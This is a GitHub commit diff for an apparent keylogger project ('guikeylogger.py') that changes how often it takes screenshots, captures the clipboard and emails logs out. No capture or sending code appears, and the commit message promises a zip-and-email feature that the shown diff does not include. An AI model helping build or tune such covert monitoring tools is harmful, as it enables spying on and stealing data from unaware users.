Skip to content

Commit 434c5c3

Browse files
feat(zip): create zip bundle of logs & send via email
1 parent 6726dbd commit 434c5c3

File tree

2 files changed

+6
-6
lines changed

2 files changed

+6
-6
lines changed

app/guikeylogger.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -109,9 +109,9 @@ def load_config():
109109
SCREENSHOT_DIR = paths["screenshot_dir"]
110110

111111
intervals = config["intervals_seconds"]
112-
SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 9))
113-
EMAIL_INTERVAL = int(intervals.get("email_interval", 9))
114-
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 3))
112+
SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900))
113+
EMAIL_INTERVAL = int(intervals.get("email_interval", 900))
114+
CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30))
115115
LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0))
116116

117117
data_dir = _DEFAULT_CONFIG["paths"]["data_dir"]

config.json

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,9 @@
77
"screenshot_dir": "data/screenshots"
88
},
99
"intervals_seconds": {
10-
"screenshot_interval": 9,
11-
"email_interval": 9,
12-
"clipboard_interval": 3,
10+
"screenshot_interval": 900,
11+
"email_interval": 900,
12+
"clipboard_interval": 30,
1313
"loop_sleep": 1
1414
},
1515
"screenshots": {

0 commit comments

Comments
 (0)